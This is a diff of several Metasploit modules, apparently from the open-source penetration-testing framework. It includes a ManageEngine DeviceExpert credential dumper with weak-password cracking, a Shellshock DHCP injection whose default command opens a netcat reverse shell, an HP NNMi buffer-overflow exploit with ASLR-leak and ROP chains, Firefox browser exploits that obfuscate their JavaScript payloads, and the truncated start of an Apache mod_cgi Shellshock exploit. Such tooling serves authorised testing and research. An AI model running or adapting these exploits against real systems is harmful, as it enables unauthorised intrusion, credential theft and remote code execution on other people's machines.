||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'ManageEngine DeviceExpert User Credentials',
|
||||||
|
'Description' => %q{
|
||||||
|
This module extracts usernames and salted MD5 password hashes
|
||||||
|
from ManageEngine DeviceExpert version 5.9 build 5980 and prior.
|
||||||
|
|
||||||
|
This module has been tested successfully on DeviceExpert
|
||||||
|
version 5.9.7 build 5970.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit
|
||||||
|
'Brendan Coles <bcoles[at]gmail.com>' # msf
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['EDB', '34449'],
|
||||||
|
['OSVBD', '110522'],
|
||||||
|
['CVE', '2014-5377']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Aug 28 2014'))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(6060),
|
||||||
|
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||||
|
], self.class)
|
||||||
|
deregister_options('RHOST')
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_users
|
||||||
|
users = nil
|
||||||
|
vprint_status("#{peer} - Reading users from master...")
|
||||||
|
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))
|
||||||
|
if !res
|
||||||
|
vprint_error("#{peer} - Connection failed")
|
||||||
|
elsif res.code == 404
|
||||||
|
vprint_error("#{peer} - Could not find 'ReadUsersFromMasterServlet'")
|
||||||
|
elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
|
||||||
|
users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
|
||||||
|
vprint_good("#{peer} - Found #{users.length} users")
|
||||||
|
else
|
||||||
|
vprint_error("#{peer} - Could not find any users")
|
||||||
|
end
|
||||||
|
users
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_user_data(user)
|
||||||
|
return if user.nil?
|
||||||
|
username = user.scan(/<username>([^<]+)</).flatten.first
|
||||||
|
encoded_hash = user.scan(/<password>([^<]+)</).flatten.first
|
||||||
|
role = user.scan(/<userrole>([^<]+)</).flatten.first
|
||||||
|
mail = user.scan(/<emailid>([^<]+)</).flatten.first
|
||||||
|
salt = user.scan(/<saltvalue>([^<]+)</).flatten.first
|
||||||
|
hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first
|
||||||
|
pass = nil
|
||||||
|
['12345', 'admin', 'password', username].each do |weak_password|
|
||||||
|
if hash == Rex::Text.md5(weak_password + salt)
|
||||||
|
pass = weak_password
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
[username, pass, hash, role, mail, salt]
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
users = get_users
|
||||||
|
return if users.nil?
|
||||||
|
|
||||||
|
service_data = {
|
||||||
|
address: rhost,
|
||||||
|
port: rport,
|
||||||
|
service_name: (ssl ? 'https' : 'http'),
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
cred_table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => 'ManageEngine DeviceExpert User Credentials',
|
||||||
|
'Indent' => 1,
|
||||||
|
'Columns' =>
|
||||||
|
[
|
||||||
|
'Username',
|
||||||
|
'Password',
|
||||||
|
'Password Hash',
|
||||||
|
'Role',
|
||||||
|
'E-mail',
|
||||||
|
'Password Salt'
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Parsing user data...")
|
||||||
|
users.each do |user|
|
||||||
|
record = parse_user_data(user.to_s)
|
||||||
|
next if record.join.empty?
|
||||||
|
|
||||||
|
user = record[0]
|
||||||
|
pass = record[1]
|
||||||
|
hash = record[2]
|
||||||
|
role = record[3]
|
||||||
|
mail = record[4]
|
||||||
|
salt = record[5]
|
||||||
|
|
||||||
|
cred_table << [user, pass, hash, role, mail, salt]
|
||||||
|
|
||||||
|
if pass
|
||||||
|
print_status("#{peer} - Found weak credentials (#{user}:#{pass})")
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: self.fullname,
|
||||||
|
private_type: :password,
|
||||||
|
private_data: pass,
|
||||||
|
username: user
|
||||||
|
}
|
||||||
|
else
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: self.fullname,
|
||||||
|
private_type: :nonreplayable_hash,
|
||||||
|
private_data: "#{salt}:#{hash}",
|
||||||
|
username: user
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
credential_data.merge!(service_data)
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
login_data = {
|
||||||
|
core: credential_core,
|
||||||
|
access_level: role,
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED
|
||||||
|
}
|
||||||
|
login_data.merge!(service_data)
|
||||||
|
create_credential_login(login_data)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
print_line
|
||||||
|
print_line("#{cred_table}")
|
||||||
|
loot_name = 'manageengine.deviceexpert.user.creds'
|
||||||
|
loot_type = 'text/csv'
|
||||||
|
loot_filename = 'manageengine_deviceexpert_user_creds.csv'
|
||||||
|
loot_desc = 'ManageEngine DeviceExpert User Credentials'
|
||||||
|
p = store_loot(
|
||||||
|
loot_name,
|
||||||
|
loot_type,
|
||||||
|
rhost,
|
||||||
|
cred_table.to_csv,
|
||||||
|
loot_filename,
|
||||||
|
loot_desc)
|
||||||
|
print_status "Credentials saved in: #{p}"
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,82 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/proto/dhcp'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::DHCPServer
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'DHCP Client Bash Environment Variable Code Injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a code injection in specially crafted environment
|
||||||
|
variables in Bash, specifically targeting dhclient network configuration
|
||||||
|
scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
|
||||||
|
'Stephane Chazelas', # Vulnerability discovery
|
||||||
|
'Ramon de C Valle' # This module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Actions' =>
|
||||||
|
[
|
||||||
|
[ 'Service' ]
|
||||||
|
],
|
||||||
|
'PassiveActions' =>
|
||||||
|
[
|
||||||
|
'Service'
|
||||||
|
],
|
||||||
|
'DefaultAction' => 'Service',
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2014-6271'],
|
||||||
|
['CWE', '94'],
|
||||||
|
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
|
||||||
|
['URL', 'http://seclists.org/oss-sec/2014/q3/649',],
|
||||||
|
['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Sep 24 2014'
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
|
||||||
|
|
||||||
|
hash = datastore.copy
|
||||||
|
hash['DOMAINNAME'] = value
|
||||||
|
hash['HOSTNAME'] = value
|
||||||
|
hash['URL'] = value
|
||||||
|
|
||||||
|
# This loop is required because the current DHCP Server exits after the
|
||||||
|
# first interaction.
|
||||||
|
loop do
|
||||||
|
begin
|
||||||
|
start_service(hash)
|
||||||
|
|
||||||
|
while @dhcp.thread.alive?
|
||||||
|
select(nil, nil, nil, 2)
|
||||||
|
end
|
||||||
|
|
||||||
|
rescue Interrupt
|
||||||
|
break
|
||||||
|
|
||||||
|
ensure
|
||||||
|
stop_service
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'DefaultAction' => 'Service'
|
'DefaultAction' => 'Service'
|
||||||
)
|
)
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
|
||||||
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
|
||||||
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
|
||||||
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
|
||||||
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
|
||||||
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
|
||||||
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
|
||||||
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
|
||||||
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
|
||||||
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
|
@ -74,6 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
:os_flavor => 'Android'
|
:os_flavor => 'Android'
|
||||||
}
|
}
|
||||||
))
|
))
|
||||||
|
|
||||||
|
deregister_options('JsObfuscate')
|
||||||
end
|
end
|
||||||
|
|
||||||
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
|
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
|
||||||
|
|
|
@ -0,0 +1,229 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Udp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'HP Network Node Manager I PMD Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
|
||||||
|
vulnerability exists in the pmd service, due to the insecure usage of functions like
|
||||||
|
strcpy and strcat while handling stack_option packets with user controlled data. In
|
||||||
|
order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
|
||||||
|
the stack and finally build the rop chain to avoid NX.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'd(-_-)b', # Vulnerability discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-2624'],
|
||||||
|
['ZDI', '14-305']
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00",
|
||||||
|
'Space' => 3000,
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd cmd_bash',
|
||||||
|
'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Automatic', {}],
|
||||||
|
['HP NNMi 9.10 / CentOS 5',
|
||||||
|
{
|
||||||
|
# ptr to .rodata with format specifier
|
||||||
|
#.rodata:0003BE86 aS_1 db '%s',0
|
||||||
|
'ov_offset' => 0x3BE86,
|
||||||
|
:rop => :rop_hp_nnmi_9_10
|
||||||
|
}
|
||||||
|
],
|
||||||
|
['HP NNMi 9.20 / CentOS 6',
|
||||||
|
{
|
||||||
|
# ptr to .rodata with format specifier
|
||||||
|
#.rodata:0003C2D6 aS_1 db '%s',0
|
||||||
|
'ov_offset' => 0x3c2d8,
|
||||||
|
:rop => :rop_hp_nnmi_9_20
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20
|
||||||
|
'DisclosureDate' => 'Sep 09 2014',
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([ Opt::RPORT(7426) ], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
header = [
|
||||||
|
0x2a5, # pmdmgr_init pkt
|
||||||
|
0x3cc, # signature
|
||||||
|
0xa0c, # signature
|
||||||
|
0xca8 # signature
|
||||||
|
].pack("V")
|
||||||
|
|
||||||
|
data = "\x00" * (0xfa4 - header.length)
|
||||||
|
|
||||||
|
pkt = header + data
|
||||||
|
|
||||||
|
connect_udp
|
||||||
|
udp_sock.put(pkt)
|
||||||
|
res = udp_sock.timed_read(8, 1)
|
||||||
|
if res.blank?
|
||||||
|
# To mitigate MacOSX udp sockets behavior
|
||||||
|
# see https://dev.metasploit.com/redmine/issues/7480
|
||||||
|
udp_sock.put(pkt)
|
||||||
|
res = udp_sock.timed_read(8)
|
||||||
|
end
|
||||||
|
disconnect_udp
|
||||||
|
|
||||||
|
if res.blank?
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
elsif res.length == 8 && res.unpack("V").first == 0x2a5
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect_udp
|
||||||
|
# info leak with a "proto_tbl" packet
|
||||||
|
print_status("Sending a 'proto_tbl' request...")
|
||||||
|
udp_sock.put(proto_tbl_pkt)
|
||||||
|
|
||||||
|
res = udp_sock.timed_read(13964, 1)
|
||||||
|
if res.blank?
|
||||||
|
# To mitigate MacOSX udp sockets behavior
|
||||||
|
# see https://dev.metasploit.com/redmine/issues/7480
|
||||||
|
udp_sock.put(proto_tbl_pkt)
|
||||||
|
res = udp_sock.timed_read(13964)
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.blank?
|
||||||
|
fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")
|
||||||
|
end
|
||||||
|
|
||||||
|
if target.name == 'Automatic'
|
||||||
|
print_status("Fingerprinting target...")
|
||||||
|
my_target = auto_target(res)
|
||||||
|
fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?
|
||||||
|
else
|
||||||
|
my_target = target
|
||||||
|
fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")
|
||||||
|
|
||||||
|
# exploit with a "stack_option_pkt" packet
|
||||||
|
udp_sock.put(stack_option_pkt(my_target, @ov_base))
|
||||||
|
|
||||||
|
disconnect_udp
|
||||||
|
end
|
||||||
|
|
||||||
|
def rop_hp_nnmi_9_10(ov_base)
|
||||||
|
rop = rand_text_alpha(775)
|
||||||
|
rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret
|
||||||
|
rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got
|
||||||
|
rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored:
|
||||||
|
# "PMD Stack option specified, but stack not available (user_controlled)"
|
||||||
|
rop << [0x808d7c2].pack("V") # pop ebp # ret
|
||||||
|
rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
|
||||||
|
rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence:
|
||||||
|
#.text:0001D692 lea eax, [ebp+dest]
|
||||||
|
#.text:0001D698 push eax ; command
|
||||||
|
#.text:0001D699 call _system
|
||||||
|
rop
|
||||||
|
end
|
||||||
|
|
||||||
|
def rop_hp_nnmi_9_20(ov_base)
|
||||||
|
rop = rand_text_alpha(775)
|
||||||
|
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
|
||||||
|
rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence
|
||||||
|
#.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)
|
||||||
|
#.text:0001DAEC push eax ; command
|
||||||
|
#.text:0001DAED call _system
|
||||||
|
rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored:
|
||||||
|
# "PMD Stack option specified, but stack not available (user_controlled)"
|
||||||
|
rop << rand_text_alpha(4) # ebp: padding
|
||||||
|
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
|
||||||
|
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret
|
||||||
|
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
|
||||||
|
rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base
|
||||||
|
rop << rand_text_alpha(4) # ebx: padding
|
||||||
|
rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
|
||||||
|
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
|
||||||
|
rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)
|
||||||
|
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)
|
||||||
|
rop << [0x80528BC].pack("V") # jmp eax
|
||||||
|
|
||||||
|
rop
|
||||||
|
end
|
||||||
|
|
||||||
|
def stack_option_pkt(t, ov_base)
|
||||||
|
hdr = [0x2a9].pack("V") # stack_option packet
|
||||||
|
data = "-SA" # stack name (invalid one 'A')
|
||||||
|
data << ";" # separator
|
||||||
|
data << self.send(t[:rop], ov_base) # malformed stack options
|
||||||
|
data << payload.encoded
|
||||||
|
data << ";\n"
|
||||||
|
data << "\x00" * (0xfa4 - data.length - hdr.length)
|
||||||
|
|
||||||
|
hdr + data
|
||||||
|
end
|
||||||
|
|
||||||
|
def proto_tbl_pkt
|
||||||
|
hdr = [0x2aa].pack("V") # proto_tbl packet
|
||||||
|
data = "\x00" * (0xfa4 - hdr.length)
|
||||||
|
|
||||||
|
hdr + data
|
||||||
|
end
|
||||||
|
|
||||||
|
def base(address, offset)
|
||||||
|
address - offset
|
||||||
|
end
|
||||||
|
|
||||||
|
def find_ov_base(t, data)
|
||||||
|
print_status("Searching #{t.name} pointers...")
|
||||||
|
i = 0
|
||||||
|
data.unpack("V*").each do |int|
|
||||||
|
if base(int, t['ov_offset']) % 0x1000 == 0
|
||||||
|
print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")
|
||||||
|
@ov_base = base(int, t['ov_offset'])
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
i = i + 1
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def auto_target(data)
|
||||||
|
targets.each do |t|
|
||||||
|
next if t.name == 'Automatic'
|
||||||
|
if find_ov_base(t, data)
|
||||||
|
return t
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -79,21 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
"p2.constructor.defineProperty(obj,key,{get:runme});"
|
"p2.constructor.defineProperty(obj,key,{get:runme});"
|
||||||
end
|
end
|
||||||
|
|
||||||
%Q|
|
script = js_obfuscate %Q|
|
||||||
<html>
|
|
||||||
<body>
|
|
||||||
#{datastore['CONTENT']}
|
|
||||||
<div id='payload' style='display:none'>
|
|
||||||
if (!window.done) {
|
|
||||||
window.AddonManager.getInstallForURL(
|
|
||||||
'#{get_module_uri}/addon.xpi',
|
|
||||||
function(install) { install.install() },
|
|
||||||
'application/x-xpinstall'
|
|
||||||
);
|
|
||||||
window.done = true;
|
|
||||||
}
|
|
||||||
</div>
|
|
||||||
<script>
|
|
||||||
try{InstallTrigger.install(0)}catch(e){p=e;};
|
try{InstallTrigger.install(0)}catch(e){p=e;};
|
||||||
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
|
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
|
||||||
p2.__exposedProps__={
|
p2.__exposedProps__={
|
||||||
|
@ -116,6 +102,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
};
|
};
|
||||||
for (var i in window) register(window, i);
|
for (var i in window) register(window, i);
|
||||||
for (var i in document) register(document, i);
|
for (var i in document) register(document, i);
|
||||||
|
|
|
||||||
|
|
||||||
|
js_payload = js_obfuscate %Q|
|
||||||
|
if (!window.done) {
|
||||||
|
window.AddonManager.getInstallForURL(
|
||||||
|
'#{get_module_uri}/addon.xpi',
|
||||||
|
function(install) { install.install() },
|
||||||
|
'application/x-xpinstall'
|
||||||
|
);
|
||||||
|
window.done = true;
|
||||||
|
}
|
||||||
|
|
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
#{datastore['CONTENT']}
|
||||||
|
<div id='payload' style='display:none'>
|
||||||
|
#{js_payload}
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
#{script}
|
||||||
</script>
|
</script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
@ -129,24 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
:loader_path => "#{get_module_uri}.swf",
|
:loader_path => "#{get_module_uri}.swf",
|
||||||
:content => self.datastore['CONTENT'] || ''
|
:content => self.datastore['CONTENT'] || ''
|
||||||
}
|
}
|
||||||
%Q|
|
script = js_obfuscate %Q|
|
||||||
<!doctype html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<base href="chrome://browser/content/">
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
|
|
||||||
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
|
|
||||||
<symbol id="#{vars[:symbol_id]}">
|
|
||||||
<foreignObject>
|
|
||||||
<object></object>
|
|
||||||
</foreignObject>
|
|
||||||
</symbol>
|
|
||||||
<use />
|
|
||||||
</svg>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
|
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
|
||||||
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
|
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
|
||||||
function $() {
|
function $() {
|
||||||
|
@ -169,6 +152,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
document.querySelector('use').setAttributeNS(
|
document.querySelector('use').setAttributeNS(
|
||||||
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
|
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
|
||||||
);
|
);
|
||||||
|
|
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
<!doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<base href="chrome://browser/content/">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
|
||||||
|
<symbol id="#{vars[:symbol_id]}">
|
||||||
|
<foreignObject>
|
||||||
|
<object></object>
|
||||||
|
</foreignObject>
|
||||||
|
</symbol>
|
||||||
|
<use />
|
||||||
|
</svg>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
#{script}
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
|
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
|
||||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
key = Rex::Text.rand_text_alpha(5 + rand(12))
|
key = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||||
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
|
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
|
||||||
|
|
||||||
js = Rex::Exploitation::JSObfu.new(%Q|
|
js = js_obfuscate %Q|
|
||||||
var opts = #{JSON.unparse(opts)};
|
var opts = #{JSON.unparse(opts)};
|
||||||
var key = opts['#{key}'];
|
var key = opts['#{key}'];
|
||||||
var y = {}, q = false;
|
var y = {}, q = false;
|
||||||
|
@ -85,9 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return 5;
|
return 5;
|
||||||
};
|
};
|
||||||
console.time(y);
|
console.time(y);
|
||||||
|)
|
|
|
||||||
|
|
||||||
js.obfuscate
|
|
||||||
|
|
||||||
%Q|
|
%Q|
|
||||||
<!doctype html>
|
<!doctype html>
|
||||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
|
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
|
||||||
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
|
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
|
||||||
|
|
||||||
js = Rex::Exploitation::JSObfu.new(%Q|
|
js = js_obfuscate %Q|
|
||||||
var opts = #{JSON.unparse(opts)};
|
var opts = #{JSON.unparse(opts)};
|
||||||
var key = opts['#{key}'];
|
var key = opts['#{key}'];
|
||||||
|
|
||||||
|
@ -127,10 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
setTimeout(function(){top.vvv.close();}, 100);
|
setTimeout(function(){top.vvv.close();}, 100);
|
||||||
}, 10);
|
}, 10);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|)
|
|
||||||
|
|
||||||
js.obfuscate
|
|
||||||
|
|
||||||
%Q|
|
%Q|
|
||||||
<!doctype html>
|
<!doctype html>
|
||||||
|
|
|
@ -0,0 +1,130 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Exploit::Remote
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a code injection in specially crafted environment
|
||||||
|
variables in Bash, specifically targeting Apache mod_cgi scripts through
|
||||||
|
the HTTP_USER_AGENT variable by default.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'Stephane Chazelas', # Vulnerability discovery
|
||||||
|
'wvu', # Original Metasploit aux module
|
||||||
|
'juan vazquez' # Allow wvu's module to get native sessions
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2014-6271'],
|
||||||
|
['URL', 'https://access.redhat.com/articles/1200223'],
|
||||||
|
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Space' => 2048
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Linux x86',
|
||||||
|
{
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'CmdStagerFlavor' => [ :echo, :printf ]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Linux x86_64',
|
||||||
|
{
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_X86_64,
|
||||||
|
'CmdStagerFlavor' => [ :echo, :printf ]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Sep 24 2014',
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('TARGETURI', [true, 'Path to CGI script']),
|
||||||
|
